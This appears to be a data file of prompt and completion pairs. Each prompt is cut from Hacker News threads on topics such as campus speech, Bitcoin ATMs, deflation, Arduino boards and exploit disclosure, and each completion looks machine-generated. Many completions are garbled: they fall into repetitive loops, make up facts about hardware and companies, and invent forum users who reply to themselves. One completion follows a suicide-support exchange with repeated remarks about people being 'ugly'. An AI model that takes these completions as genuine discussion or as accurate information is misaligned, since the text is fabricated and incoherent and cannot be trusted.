that\ncontradicted the prevailing opinion.\n\n------\nthrowawaysea\nThe article is about the effects of the Safe Space movement, but the author\nmakes a claim that I don't think is true. He says that the movement is\n\"inevitable\" because of the \"growing realization that diversity is good\".\n\nI think the growing realization that diversity is good is a reaction to the\ngrowing realization that the current system of white male dominated power is\nine", "input_text": ".com/watch?v=wXF8MIG_HQI](https://www.youtube.com/watch?v=wXF8MIG_HQI)\n\n------\nbwanab\nProf. Haidt was also the co-author of this piece in The Atlantic Monthly:\n[http://www.theatlantic.com/magazine/archive/2015/09/greg-\nluk...](http://www.theatlantic.com/magazine/archive/2015/09/greg-lukianoffs-\nstory/399359/)\n\n------\nAqueous\nas long the definition of the word'safety' has been expanded to include\nremoving any risk of emotional distress from day-to-day life, we might as well\ncall the current campus climate 'unsafe' for anyone who doesn't hold the\nprevailing views. i know i certainly didn't feel'safe' to express the\noccasional disagreement with the majority opinion while at wesleyan, even\nthough i was 99% in agreement with those prevailing views. i felt paranoid\nabout (either accidentally or deliberately) saying the wrong thing and\ntherefore provoking mob justice. 'walking on eggshells' was an understatement.\nthat paranoia felt more than justified when people who had expressed contrary\nopinions were the subject of campus-wide mockery, derision, and ostracism.\n\nbeing reflexively deferential to every conceivable sensitivity causes us to\ndisproportionately look out for the safety of some at the expense of the\noverall atmosphere of civility, dignity, respect, and yes,'safety,' of the\ncampus. it really hit home when recently Wesleyan's campus newspaper lost a\ngood portion of its funding because it dared to publish an op"} +{"output_text": "\nwant to make sure they're not making a mistake.\n\n\\- Asking you to sign something you can't read.\n\n\\- Asking you to sign something you can't read and then asking them to sign\nit.\n\n\\- Asking you to sign something that you don't understand.\n\n\\- Asking you to sign something that you don't understand and then asking them\nto sign it.\n\n\\- Asking you to sign something that you don't understand", "input_text": "presented in the review. The slides, after all, are the only thing written\ndown. Insist that the engineers never conveyed any challenges to you. Blame\nthem for delays, overruns, and missing features.\n\nMy lesson learned: never, ever sign your name to a fictional budget, schedule,\nor risk summary.\n\n------\ntempguy9999\nI've rarely had any of that. Mainly I get pervasive bad management from poor\nbut well-meaning managers.\n\nOnly thing I can think of is a long time ago being told if you hit this\ndeadline here's \u00a3X thousand pound bonus for the team. We hit the deadline,\nthey made me redundant next day and told me I wouldn't be getting my share\nbecause \"you should have got it in writing\"[0]\n\nI took them to court and won eventually. Good fun.\n\n[0] Which was a) true but b) plain nasty. Worth repeating at this point, the 3\nlaws of contracting:\n\n1\\. Get it in writing\n\n2\\. Get it in writing\n\n3\\. Get it in writing\n\n~~~\ncrimsonalucard\nWow what was the asshole company that did this?\n\n~~~\ntempguy9999\nLong dead, don't worry you're safe!\n\nEdit: useful lesson though.\n\n------\nnailer\nGeneral employment tricks:\n\n\\- Asking you your current pay. Not answering when you ask them their budget.\nA good answer is to discuss the other offers you have on the table.\n\n\\- Getting private info by asking you to correct something false. \"So you made\n80,000\" will get an answer better than \"How much were you paid?\"\n\n\\- Repeatedly asking you the same question because they don't trust you and"} +{"output_text": " They said that the ATM had \"misplaced\" my\ncard and that I could get a new one.\n\nI'm not sure if this is a problem with the ATM or not, but it sure doesn't\nsound like it.\n\n------\njleader\nI'm not sure I understand the point of this article. The author says that\npeople are \"rawness\" because of the \"unpredictability\" of bitcoin, but then\nsays that people are \"", "input_text": ".\n\n------\nwoah\nThe \"rawness\" he describes has nothing to do with Bitcoin, and everything to\ndo with the laws surrounding fiat money.\n\n~~~\nbillyhoffman\nIt seems to me the \"rawness\" has everything to do with bitcoin and its\ndecentralized design.\n\n1- Needed to create an account for \"their\" exchange. 2- Needed to transfer\nbitcoin into their exchange. 3- Needed to wait for transaction to get\nvalidated in the blockchain 4- Get money.\n\nYou could reach and say that all the PII and initial setup was to comply with\nlaws about banking/money laundering. But that took 7 mins of a 45 min process.\n\n~~~\njes5199\n> 3- Needed to wait for transaction to get validated in the blockchain\n\nThis process is _slow_ and I don't see how it can possibly get faster.\n\nThe best I've come up with is you have a second money-apparatus that moves\nmore quickly. It probably wouldn't have a lot of the currency-like properties\nof bitcoin. I guess the analogy is that sending bitcoin is like writing a\ncheque, and this faster thing would be like using a credit card.\n\n------\nschmichael\nThe long wait times and multiple trips may explain why there are such long\nlines in so many pictures of Bitcoin ATMs.\n\n------\nmcherm\nI had a terrible experience last weekend.\n\nI went down to the corner to get some money out of the ATM. I walked up and\nstuck in my card and the ATM wouldn't give me any money: said something about\nmy card not being supported. So I walked into the bank building adjacent to\nthe ATM and asked them about it."} +{"output_text": " a woman to be \"ugly\" because she has a\n\"husk\" or a \"blem.\"\n\nIts a perception error like considering a man to be \"ugly\" because he has a\n\"beard\" or a \"stubble.\"\n\nIts a perception error like considering a woman to be \"ugly\" because she has a\n\"bunch of kids\" or \"is overweight.\"\n\nIts a perception error like considering a man to be \"ugly", "input_text": " to the company.\nThat's good for your taxes.\n\nDo _not_ hire an accountant for anything right now. You'll lose money.\n\nI've lived here for 22 years, had my company for 12, I'm not doing anything\nmagic with it but it pays the bills.\n\nSend me a mail if you want.\n\n------\nmgbelisle\nI lived in Japan and understand what you're talking about. Never started a\ncompany like you or brandelune but I have done endless piles of bank paperwork\nand software tech support in Japanese. Message me directly if you want to talk\nmore, but I would apply for a software job in your home country and if you\nland it then move out of Japan. If the software applications don't land you\nanything then I would stay in Japan as an English teacher and use your\nsoftware knowledge to connect you with higher paying clients like traveling\nsoftware engineers or software company managers.\n\n> I have honestly thought about suicide, or just fleeing the country.\n\nMake sure to tell your closest friend about this. There's no shame at all in\nanything that you've tried so far. And your life is worth _way_ more than\ncorporate success in a country that drowns itself in bureaucratic paperwork.\n\n~~~\nf_allwein\nAlso, please seek some emotional support, e.g. from\n[https://www.samaritans.org](https://www.samaritans.org) (free, confidential,\nnon judgemental).\n\n------\nnoonespecial\nJust so that you see it again: Suicide as a fix for this situation is\nridiculous. (Please note, I'm not saying that _you_ are ridiculous for feeling\nthis way)\n\nIts a perception error like considering"} +{"output_text": ">)\n\n25) Adgili ()\n\n26) AdMob (Google) ()\n\n27) AdMeld ()\n\n28) AdParlor ()\n\n29) AdRev ()\n\n9) MobYD ()\n\n10) Trademob ()\n\n11) Madvertise ()\n\n12) BuzzCity ()\n\n13) AdModa ()\n\n14) Mojiva ([http://www.mojiva.com/mobile-advertising/monetize-your-\nmobil...](http://www.mojiva.com/mobile-advertising/monetize-your-mobile-app))\n\n15) Hunt Mobile Ads ()\n\n16) Greystripe ()\n\n17) Madhouse ()\n\n18) Jumptap ()\n\n19) Mobile Theory ()\n\n20) Microsoft Mobile Advertising ()\n\n21) xAd ()\n\n22) YP (AT&T) ()\n\n23) Tapgage ()\n\n24) Aditic ( Apple makes and builds high-end products and has the fat margins that goes\n> along with it - instead of outsourcing all manufacturing to China, it could\n> choose to build everything in the US, employ the locals and use that as a\n> selling point.\n\nWhy do you assume Americans are more deserving of Apple's"} +{"output_text": "\u2014but\nthey do seem to be pushing the envelope of online shopping.\n\n~~~\nmarcusgarvey\nI live in NYC and have never heard of Fresh. Is it something I should know\nabout?\n\n~~~\nbhauer\nFresh is Amazon's grocery delivery service. It's available in a few cities\n(Seattle, Portland, Vancouver, and Toronto) and is currently being tested in a\nfew more. It's a little different from what you're used", "input_text": "41LS/ref=pd_sbs_bt_23)\n\n$13 dollars you have at least a years worth of blades for even the thickest\nbeards. Also you will get a shave that is worlds better then the one from DSC.\n\n~~~\ndiminoten\nBecause it's not about the blades, it's about the stream of blades.\n\nConsider the same question for basically every nonperishable you purchase -\nwhy are you not buying in large bulk and saving? I can think of a dozen items\nI could buy in bulk and save money on that I currently don't.\n\nActually, now that I think about it, why _don 't_ I buy in bulk? I totally\ncould. Why don't people in general buy in bulk?\n\nAnyway, it's the same answer for your toilet paper as it is for your razors,\nor your shampoo, or your paper towels. I don't apparently know that answer,\nbut I assume that's why people don't do what you're saying.\n\n~~~\nbhauer\nAmazon offers their \"Subscribe and Save\" service on many products (not the one\nlinked above, however). Amazon's subscription service provides a continuous\nstream of many staples such as paper products, toothpaste, tooth brushes, cat\nfood, etc. to my household. It works great.\n\nAside: I live in Los Angeles and am trying out Amazon Fresh. If anything,\nAmazon now offers me an almost-confusing multitude of ways to have products\ndelivered to my house. I can Prime things for receipt in two days. I can\nsubscribe and forget. I can Fresh things for next-day delivery. I'm not an\nAmazon fan boy\u2014many of their services frustrate me in a variety of ways"} +{"output_text": "and I'm from a\nconservative family), I've known lots of people who thought the government was\nout to get them, lots of people who thought the government was incompetent,\nlots of people who thought the government was corrupt, lots of people who\nthought the government was doing a fine job, and lots of people who thought\nneither of those things.\n\nWhen you're arguing with people about politics, you're arguing about _the\ngovernment's policies_ , not", "input_text": " How many of you would say you are on the\n> right politically, or that you are conservative or Republican?\n\nThis is a fundamental misunderstanding of how discourse is conducted and\nshould be conducted. _People_ are not on the right politically, conservative,\nor Republican. People are people, and each might hold or articulate viewpoints\nor opinions that are on the right politically or conservative. They might be a\nmember of the Republican Party. All of these are elective and potentially\ntemporary.\n\nThe whole point of discourse is that viewpoints, opinions, and memberships can\nchange. So to start by framing those as elements of identity needing\nprotection, feeds directly into a framework for discussion that is conflicted.\nIf a discussion must validate and protect all viewpoints (conservative or\nliberal), then what is going to be discussed?\n\nIMO the right way to approach this situation is to explore the potential\nconsequences of voicing an unpopular opinion. Often, they are far less scary\nthan teenagers might suppose. We should focus on how to give each individual\nstudent the mental tools to effectively evaluate arguments, and to manage\ntheir anxiety about going against perceived social norms.\n\nTeaching kids to be brave in speaking up against prevailing opinion can help\ncreate positive outcomes throughout their lives. We _want_ citizens who will\nspeak up for what they know is right, even if they know they will face\ntrouble.\n\n~~~\nsanderjd\n> We want citizens who will speak up for what they know is right, even if they\n> know they will face trouble.\n\nI thought your comment was really good, but I don't think this conclusion is\n_quite_ right. The problem is that lots of different people \"know\" that lots\nof different things are \"right\". In my life experience ("} +{"output_text": "had to follow them out of the room and refuse to let them back in.\n\nI'm not saying that all ICUs are like this, but I do know that my family\nmember's experience at the University of Texas Medical Center was not at all\nunique.\n\n~~~\nmikeash\nI've been in IC units that were great, and I've been in IC units that were\nhorrible. The difference is that the good ones had staff that actually\nlistened", "input_text": " were Nicolas Sarkozy (12 millions viewers), Arnaud Montebourg (9\nmillions) and lately Alain Jupp\u00e9 (13 millions)._\n\nI would like to see the results of the two other guests.\n\n~~~\nconradfr\nThere has only been three shows so far IIRC.\n\n------\nconradfr\nAs a French trying Elixir these last few months (don't have much time for Elm)\nit's great seeing the language picking up some hype.\n\nAt work I don't see it happening though, we're a PHP shop now addind nodejs\n(to my despair) and maybe some Go. I think there is a Haskell fan and that's\nit.\n\n \nWhy Do Hospitals Hate Sleep So Much? - curtis\nhttps://www.motherjones.com/kevin-drum/2018/12/why-do-hospitals-hate-sleep-so-much/\n======\nmattjaynes\nI recently had a family member in the intensive care unit (ICU) for over a\nmonth in Austin, Texas. I quickly learned my main contribution would be\nprotecting her sleep when I saw she hadn't slept in days because of the\nconstant interruptions. She went from reasonable and compliant in taking her\nmedication, to extremely irritated and noncompliant with the doctors. Of\ncourse I could see this was due to sleep deprivation, but when I kept bringing\nthis up to the doctors and nurses, they gave me blank stares and didn't seem\nto believe or care. When they started suggesting another surgery due to her\nnot improving, I nearly lost my sanity. Ultimately, I had to become a very\nvocal and unpleasant protector of her sleep - if a nurse came in, I quickly\n"} +{"output_text": "in this case, in the sense of a networked\ndevice).\n\n------\njokoon\nI wonder if it's possible to use the ESP8266 with the ESP-12 module. I mean,\nthe ESP8266 has a usb port, and the ESP-12 has a micro-usb port.\n\n~~~\njokoon\nI just tried it, and it works. I'm going to try to connect it to a raspberry\npi, and see", "input_text": " I/O, that would be cool.\n\n~~~\nDHowett\nThey more likely meant the Arduino-specific term \"sketch\", which has been co-\nopted to mean things unrelated to both the language and the art form.\n\n~~~\nVLM\nEven more embarrassingly I was thinking of the \"scratch\" programming language.\nSorry. Being able to upload scratch as a sketch to your yun to animate a\nsketch would be cool.\n\nThe desire for a rasp-pi with the shape and form and I/O plug compatible with\nthe arduino shield ecosystem is probably a common desire and I hope it arrives\nsoon. Someday there will be an arduino running sketch with a COTS arduino\nmotor shield (or whatever) plugged into it.\n\n------\n31reasons\nI am not a hardware guy so pardon my ignorance, but my question is, if you\nalready have a full general purpose computer running linux on a board, why do\nyou need Arduino on that board also? can't you just connect sensors directly\nto the linux box?\n\n~~~\nwiredfool\nThe arduino has a nice set of shields for interfacing with sensors and other\nhardware. Its gpio outputs also tend to be more convenient than the GPIO from\nthe PI.\n\n------\nbrohoolio\nI contributed to a project which is doing something similar. It's a bit better\nbecause it has a low power transmitter for communication between units.\n\n\n\n------\ngbog\nI wonder if some day we will see cool things with real Chinese names, I mean\nChinese characters. Here it would be Arduino\u4e91\n\n------\nstupandaus\nFor those curious, Y\u00fan means cloud ("} +{"output_text": "ly, it's the least deflationary option of all.\n\nIf you print more money, it will be worth less and you'll have to pay more for\nit, so you'll end up spending less.\n\nIf you raise interest rates, people will hold onto cash, but they'll spend it\nless, so you'll end up with the same amount of money in circulation.\n\nIf you just let the economy run its course, you'll end up with inflation,", "input_text": "\n\n~~~\nNursie\nYup. Total disasters. Higher standard of living than any humans in history,\nbut Japan, Europe and the USA are somehow failed economies and total disaster\nzones.\n\nWhat colour is the sky on your planet?\n\n~~~\njazzyk\nI think the poster above is talking about the trends, not the absolute level\nof wealth. The standard of living in the US has been stagnant (even declining,\nfor the lower-middle class) since 2000. Japan has been stagnant since the\nreal-estate bubble burst in the 80s.\n\n------\nap22213\nAll this pro-deflation talk makes me feel like I've walked into a Christian\nScience convention.\n\n~~~\n001sky\nAre you really that proud of the status quo? lets see, we'll take a bunch of\nbank acounts, pay zero interest, and only let rich people & corporations\nborrow without abandon to finance their acquisition (er, corner) the market in\nall real-assets? Sounds like a great plan if your biz modle if f(n)% of asset\ninflation.\n\n~~~\npdkl95\nPointing out that deflation is a bad is not necessarily a statement of support\nfor any aspect of the current system. Staying away from deflation is good; the\nother parts are another matter and need fixing in several ways.\n\n~~~\n001sky\ndeflation is a bad is a hypothetical, and the arguments for and against are\nnot trivially dismissed. your trading book matters more than any theory. since\nthe analysis is so fact depenedent, there is no simple right answer.\n\n------\nCacti\nThe problem with deflation is that, if you're trying to control the money\nsupp"} +{"output_text": " nights are a constant\nproblem. I've even seen some with lights on all night.\n\n------\njokoon\nI wonder if it would be possible to run a linux distro on a server with a\nsmaller processor, or even a Raspberry Pi. I think the energy savings would be\nenormous.\n\n~~~\njokoon\nI guess the main reason is that proprietary software is not open source, so\nyou can't really compare the two.", "input_text": " from the environment all the carbon the company has\nemitted either directly or by electrical consumption since it was founded in\n1975.\"\n\n~~~\nzantana\nBegs the question does this include the inefficiencies in its products over\nthe years, which due to their breadth of their adoption, effected hundreds of\nmillions of computers?\n\nI'm thinking the carbon footprint of Windows update's endless (seemingly\nneedless?) grinding and rebooting alone ends up being more than they ever\nemitted manufacturing and building software.\n\n~~~\nseveneightn9ne\nHow would they decide that some computation was \"needless\"? If it was the best\nthey could do at the time I'd argue it wasn't needless. If they were\nintentionally wasting CPU/energy for no reason it would be a different story.\n\n------\nktpsns\nSomething I notice regularly on large companies and universities, literally\nany organization which is bigger then a single building: The vast amount of\nenergy waste.\n\nThis starts at heating rooms like crazy (because it is unmanaged), having\nunneccessary equipment, computers and lights running all night (because they\nare unmanaged) and goes up to transportation. It's so simple things like truck\ndrivers who prefer to keep their diesel running during loading/unloading. I\nguess they do so because either they were told by incompetent managament, have\nthe wrong belief that their batteries could not power the lights, or some\nother disbelief.\n\nSaving energy starts in the small, also if started by something big. Having\nsaid that, I guess a company of the size of Microsoft will have a huge\npotential to save energy.\n\n~~~\nmixmastamyk\nIndeed, also at every tech office I've worked at, late"} +{"output_text": "Western cultures, a BMI of 25 is considered overweight.\n\n~~~\nAznHisoka\nI'm not talking about the BMI, I'm talking about the actual feeling of\nfamiliarity. I felt like I was the only one in my building who didn't have a\nspare tire.\n\n~~~\nwill_work4tears\nOk, so you're talking about the feeling of 'feeling like you're the only one\nin the building who doesn't have", "input_text": "\"\n\nMy first thought was they are exerting too much pressure on the surface of the\nworld and endangering the integrity of the crust... need to get out more...\n\n------\nNursie\nI also enjoy cycling and used to cycle-commute. Unfortunately I have now moved\nto a cold, wet country and work too far from home for it to be practical, and\nam getting fatter...\n\n~~~\ns_henry_paulson\nA great substitute is to find a gym with spinning classes in the morning\nbefore work.\n\n~~~\nstephengillie\nIt's not a great substitute - it costs ~$50-100 per month and an extra 45-90\nminutes per day... _instead_ of saving gas money. I too live in a cold wet\nland, but can't afford the cost in time _or_ money.\n\n------\natomical\nI've been a runner for a long time but occasionally I try new forms of\nexercise / fun. In the not too recent past I joined a rowing club. The dues\nwere cheap and it's a great workout. And I take advantage of hiking if I'm in\nan area that has mountains.\n\n------\nAznHisoka\nI was in China for a month. And I had to look extremely hard to find 1 obese\nperson everyday.\n\n~~~\nwill_work4tears\n1\\. How long ago was this? 'Becoming a problem' implies that it is a new-ish\nthing, and an observation from 5 years ago isn't really current.\n\n2\\. Are you sure you don't mean \"hard to find 1 _morbidly_ obese person\neveryday? You do realize that a BMI of 30 or greater is obese, right? And In\nnon-"} +{"output_text": " has to take responsibility.\n\n~~~\ngiovannibajo1\nWell, I don't know about that, but I do know that the EFF is the most\nresponsible organization in this area, and they are funded by donations.\n\nAnd yes, I know that this is not a popular opinion, but I think that the\ngeneral public is not aware of the extent of the damage that the exploitation\nof vulnerabilities can cause, and that's why I think responsible disclosure is", "input_text": " disheartening, to say the least. I\nwonder how much of that is a result of the story's tone.\n\n~~~\ngiovannibajo1\nOn the other hand, project zero publishes kiddies-ready exploits for their\nvulnerabilities, which is a very questionable practice for vulnerabilities\nwhich are still in the wild. Even if patches were available, it would be far\nbetter to wait for most devices to be patched before releasing a full exploit.\nThey did this with iOS and now with Windows. We are now waiting for such\nuseful ready-to-use exploits for major Android versions as well.\n\n~~~\ncheald\nMetasploit does the same thing, and we've managed to not have the internet\nimplode yet.\n\nYours is the standard argument against _any_ form of disclosure. I'm not\ndiscounting it, because no disclosure has its merits, but responsible\ndisclosure satisfies both an ethical imperative (you can't let people believe\nthey're secure if you know otherwise) and provides pressure on vendors to fix\ntheir software, when the vendor might otherwise deem it not worth the time or\nmoney to fix the issue, which leaves their customers vulnerable.\n\nThe basic idea behind disclosure is \"we might not be the first people to find\nthis, and we definitely won't be the last, so let's remove all doubt and rob\nthe bad guys of the element of surprise\". Responsible disclosure is intended\nto permit responsible vendors to fix the issue before wide publication, but an\nuncooperative vendor doesn't mitigate the reality that the bug exists and will\neventually be found by someone less benevolent.\n\n~~~\nboracay\nIt's still just an excuse. Of course there's no liability in computing so no\none actually"} +{"output_text": "\n\nI drink water now.\n\n~~~\nthrow51319\nSame here. I used to drink socially, but I found better friends. I drink water\nnow.\n\n------\nthrow51319\nI'm a software engineer. I live in the Bay Area. I'm not rich. I drink\noccasionally.\n\nI drink Budweiser.\n\n~~~\nthrow51319\nWhy the down votes?\n\n~~~\nsithadmin\nBecause you're", "input_text": "damage-and-mutations-and-its-metabolite-acetaldehyde-is-highly-\ncarcinogenic/)\n\n[https://www.sciencedaily.com/releases/2019/07/190708084334.h...](https://www.sciencedaily.com/releases/2019/07/190708084334.htm)\n\n[https://neurosciencenews.com/age-alcohol-\nconsumption-10835/?...](https://neurosciencenews.com/age-alcohol-\nconsumption-10835/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+neuroscience-\nrss-feeds-neuroscience-news+\\(Neuroscience+News+Updates\\))\n\n~~~\nthrow51319\nThanks for the info! I think the 2nd link doesn't work.\n\n~~~\nken\nGoogle search suggests the title of that page began with \"Quitting alcohol may\nimprove mental well-being, health...\", which leads to pages like [1] with the\nsame title from around the same date.\n\n[1]: [https://www.eurekalert.org/pub_releases/2019-07/ji-\nqam070319...](https://www.eurekalert.org/pub_releases/2019-07/ji-\nqam070319.php)\n\n------\nalt_f4\nI don't drink at all anymore, but I also never liked the taste. I used to\ndrink socially (maybe a beer or two or three, once a week), but I found better\nfriends, so I don't need to do that anymore."} +{"output_text": ".\nThey have a massive solar farm in China, and they have a massive solar farm in\ns Spain. They also have a massive wind farm in N Germany.\n\nThey are not just saying they are green for PR, they are actually doing it.\n\n~~~\nbaddox\nI didn't know that. I'm not saying that profit motive is always bad, just that\nI have my doubts about the sincerity of this initiative.\n\n------\njrose", "input_text": " is an excellent strategic\ninvestment for Microsoft that also aligns with timely ethical priorities. I\ndidn't read the post and think \"this is corporate glossy bullshit,\" I read it\nand thought \"this is an actual strategic initiative that is driving broad\norganizational alignment, which has measurable success criteria, and which\nmakes sense.\"\n\nI am genuinely surprised by the sincerity, cogency, and aspirational nature of\nthis initiative and its associated PR glossies.\n\nI am measurably more likely to work at and invest in Microsoft after reading\nthis.\n\nI guess they've hacked my demographic?\n\n~~~\nnscalf\nShould I be satisfied if you're doing the right thing for the wrong reasons?\nI'm always unsure about this. If a politician is making all the right noises,\nbut clearly doesn't care about the topic, should I be satisfied? I really\ndon't know. That's how I feel about this, it's clearly a PR move, but I think\nI'm happy about that?\n\n~~~\nbaddox\n> Should I be satisfied if you're doing the right thing for the wrong reasons?\n\nI tend to think YES, assuming you're _actually_ doing the right thing instead\nof just _saying_ you're doing the right thing. For example, when good ideas\nhappen to coincide with profit motive, I think that's a wonderful thing, and\nreally the best-case scenario in a market economy. Apple's seemingly genuine\nfocus on privacy is a perfect example: many people criticize it as being\ndriven only by profit (perhaps as a way to compete with Google), while I say\nit's great if that's true!\n\n~~~\nanko\nI just want to mention that apple has been 100% renewable for a while now"} +{"output_text": "_and_politics/the_green/2009/04/los_angeles_sustainability_crisis_the_third_los_angeles.html\n======\ngamble\nThe city has been planning for sustainability for years. The problem is that\nthe planning process is so slow that the city is still wasting a lot of\npotential. The city should be spending a quarter of its budget on planning\nrather than operating, but it's mostly spent on operating", "input_text": " say, Americans might be\nexpected to pay more for clothes in order to reduce the numbers of people\nburned to death in Bangladeshi textile factory fires?\n\n------\nbjourne\nWhy are almost all CEO:s and company leaders tall? Is it just a coincidence\nand when they selected the \"most qualified\" candidates almost all of them\nhappened to be tall? Is it because taller people just are that much smarter\nthan everyone else?\n\n~~~\nthaumasiotes\nWell, taller people are somewhat smarter than everyone else. If your model of\nCEOs is that they're selected top-down from the smartest members of the\npopulation, you'd probably expect them to be taller than average, because\nsomeone exceptionally smart probably had a lot of different things go right to\nachieve their high total, including the particular thing that's related to\ntallness.\n\nI tend to assume that most leaders are tall because tallness contributes\nheavily to charisma, rather than because it's somewhat related to\nintelligence.\n\n~~~\nbjourne\nI see. Silly me for suspecting it has something to do with discrimination.\nThat explains why there are so few women on leadership positions -- they are\non average 10-20 cm shorter than men so they are both much dumber and much\nless charismatic than guys. It doesn't explain why the tall and hyper-\ncharismatic smart Dutch men aren't dominating the world. But I guess it's only\na matter of time. Perhaps we should export some of our geniuses to the short\nand Asian countries, they obviously suffer from a severe lack of tallintellect\nthere.\n\n \nThe third Los Angeles: Can it truly become a green, sustainable city? - cryptoz\nhttp://www.slate.com/articles/news"} +{"output_text": "say, medical billing company. How do you learn about the medical industry?\n\n~~~\nnostrademons\nI started a medical billing company. It's been a lot of work, but it's been\ntotally worth it. I've done it myself, and my wife is a doctor. I've also\nworked with other doctors to run their practice, and helped them start up\nonline businesses. I've done it for my mother, who is disabled and can't work.", "input_text": " and out, and poured years of your life\ninto - now you share control with someone who you've spent maybe 8 hours with.\nAnd you're going to have to do that again and again over the years.\n\nThe second reason is the disparity in the invested interest between the VCs\nand you. You have EVERYTHING riding on this startup. The VC has almost nothing\nriding on your company. It's not their money, they get a great salary either\nway, and they are expected to have most of their investments fail.\n\nThere seemed to be more worldly prestige running a VC backed company, but\nthat's probably because we bought press coverage. :-) In terms of my own\npersonal happiness, I've never been happier than when I was running my own\nbootstrapped company...and I also made a ton of money.\n\n~~~\nnobody271\nHow do you know what type of company to start and how much of your own money\ndid you invest when bootstrapping a company.\n\nI heard about startups that do something like make medical insurance billing\neasier. That raises a lot of questions, actually.\n\n* How does one even learn that is an issue?\n\n* It seems like something where getting started is driven entirely by having contacts in the industry.\n\n* There has to be a ton of prohibitively expensive red tape to cut through. Would you just pay a lawyer to figure all that out? Lawyers are expensive!\n\n* It doesn't seem like something that really makes the world better although I'm sure you could tell yourself that it does if it was your business. Is having your business do something you consider positive important?\n\n* Where do you get the knowledge you need to get started in an industry. Say you're really only good at programming and want to start a..."} +{"output_text": " the ROI, what is the TAM, what subset of that TAM do you focus on\nfirst (does a subset of that TAM pay more or at all?))\n\n3\\. The Market\n\n(who is the market, what is the size of the market, what is the TAM, what\nsubset of that TAM do you focus on first (does a subset of that TAM pay more or\nat all?))\n\n4\\. The Competition\n\n", "input_text": " go out and start their companies, and hopefully have a higher chance of success because of these lectures.<p>So the question is: What should I talk about? What do you think is important? What do you wish someone had told you when you started out?<p>The audience isn't particularly technical, and many of the companies are in sales, services and other non-tech industries.\n======\npg\nThe mistake most people lecturing about entrepreneurship make is to talk about\nthe mechanics of starting a company. And in fact a big mistake inexperienced\nfounders make is to focus too much on the mechanics of it.\n\nIn practice the most important questions are things like how to maintain\nmorale, how to find and get along with cofounders, how to push investors'\nbuttons, and so on.\n\n~~~\nbored\nAnd make sure to demphasize the importance of the \"idea.\" Sure it's important,\nbut not nearly as much as newbie entrepreneurs think.\n\n~~~\npg\nOr more precisely, the _initial_ idea is usually not that important, because\nit's usually wrong. It's best to see an initial idea as a question rather than\nan answer.\n\n------\njpwagner\nYou say you want 6 topics...\n\n1\\. The Problem Statement\n\n(who needs a solution, why do they need a solution, what do they do now:\nbreakdown the value by time-cost and money-cost, what is the TAM, what subset\nof that TAM do you focus on first (does a subset of that TAM pay more or at\nall?))\n\n2\\. The Solution\n\n(what options for solutions do you have, what is the cost of each of those,\nwhat is"} +{"output_text": " of the most influential writers of all time.\n\n------\nmatt_wulfeck\nI love this site. I wish there was a similar one for directors. I feel like\neveryone just watches their favorite movie and then moves on.\n\n~~~\nx3blah\nI don't know why, but I found the list of the 100 best movies of all time\npretty interesting.\n\n[https://en.wikipedia.org/wiki/The_100", "input_text": " and 5 of some show. Terrible UI. Feels like you\nget so much less than you do.\n\nWith netflix it feels like you could just fall into a series immediately.\n\n------\nbogomipz\nAlthough it's not listed in this post because it's a rental. I feel like it\ndeserves a mention nonetheless. \"Beyond the Valley of the Dolls\" is a 1960s\ncult classic. It was directed by Russ Meyer and written by Roger Ebert.\nThere's a link to it on Roger's site as well as available to stream from\nAmazon for cheap:\n\n[https://www.rogerebert.com/reviews/beyond-the-valley-of-\nthe-...](https://www.rogerebert.com/reviews/beyond-the-valley-of-the-\ndolls-1980)\n\n------\ncottager\nWhen you said you were faking a proper agent with `requests`, do you mean you\nwere setting the headers to look like a browser, as in here?:\n[https://stackoverflow.com/questions/27652543/how-to-use-\npyth...](https://stackoverflow.com/questions/27652543/how-to-use-python-\nrequests-to-fake-a-browser-visit)\n\nThat was going to be my suggestion for how to get around the anti-robot\nresponses.\n\n~~~\nx3blah\nNo agent at all is required. I got past the anti-robot response using no user-\nagent header and a simple delay.\n\n------\nyoungamerican\nReading Ebert's Great Movies site was hugely formative for me. I also love\nthat he's low-key one"} +{"output_text": "/x2nd6rg)\n\n------\nmatt_wulfeck\nI'm not sure this is a good thing.\n\nI'm a leftist, and I'm white. I'm also male. I'm also gay. I'm also a\ntheologian. I'm also a communist. I'm also a communist atheist. I'm also a\nleftist atheist. I'm also a communist nerd. I'm also a communist nerd theist", "input_text": "history in the US it's not of liberals vs conservatives, at least not in the\nway we use those terms in the US.\n\nWe have a problem with limiting discourse in schools but trying to shoehorn it\ninto the usual political framework frankly alienates those of us in the left\nwho are having to choose between apologizing for zealots on our side of the\nspectrum or aligning with groups that seem to inevitably take on repulsive\nundertones of intolerance and a whole other host of positions that have\nnothing to do with our own beyond being marginalized by the same extremely\nvocal group.\n\n------\n1812Overture\nOne thing that I haven't seen anyone mention is that this sort of walking on\neggshells culture tends to build higher walls around the privileged and\npowerful group. How often do you think these privileged rich white boys go on\nto become employers and refuse to higher someone from an out group\n(consciously or unconsciously) due to fear that the slightest misinterpreted\noff hand remark could bring hell down on them, but if they hire the other\nprivileged white guy they can comfortably be themselves without risk.\n\nI think even if you have the most leftist SJW views and objectives, you have\nto see this as counter productive.\n\n~~~\nvlehto\nI'm pretty sure some leftist SJW really can't see this as counter productive.\nIt's not just employment, this shit cuts through everything. I can't imagine\nhow this crowd could side with the white supremacists knowingly.\n\nBut then there is Slavoj Zizek, who agrees with you and me.\n[http://www.dailymotion.com/video/x2nd6rg](http://www.dailymotion.com/video"} +{"output_text": " companies, and when the trusts die, the companies die.\n\n------\njfoutz\nI think the author makes a good case for the iPod, but I think the real reason\nit was so successful was that it was a niche product. It was a niche product\nthat was simple, beautiful, and easy to use. It was a product that was\ncompletely different from everything else on the market.\n\nThe iPhone was a beautiful product, but it was also a niche", "input_text": " them\nhave been to innovate.\n\nI think Apple's willingness to cannibalise is one reason they're so successful\n- for example, when the iPod Mini was a very successful product, they stopped\nselling it and replaced it with the Mini. More industries need to learn from\nthem (especially the movie industry...)\n\n~~~\ntstegart\nCompanies are unwilling to do it because sometimes it means jettisoning\npeople, which is hard to do. Its difficult seeing people who have been with\nyou for 30 years become obsolete, and you have to tell them, \"sorry, but\nyou're no use to us anymore.\" Sometimes you want to try and make the old way\nwork, or just place your head in the sand and let the whole ship go down\ntogether.\n\n~~~\nceejayoz\n> Companies are unwilling to do it because sometimes it means jettisoning\n> people, which is hard to do.\n\nThe newspaper industry has been quite happy to do this. I survived several\nrounds of layoffs (plus furloughs and a wage freeze) at Gannett. (Meanwhile,\nthe CEO got a $30M+ retirement bonus...)\n\nThe problem is, they've mostly been doing it _instead_ of adjusting to the\ninformation era, rather than _in conjuction with_ 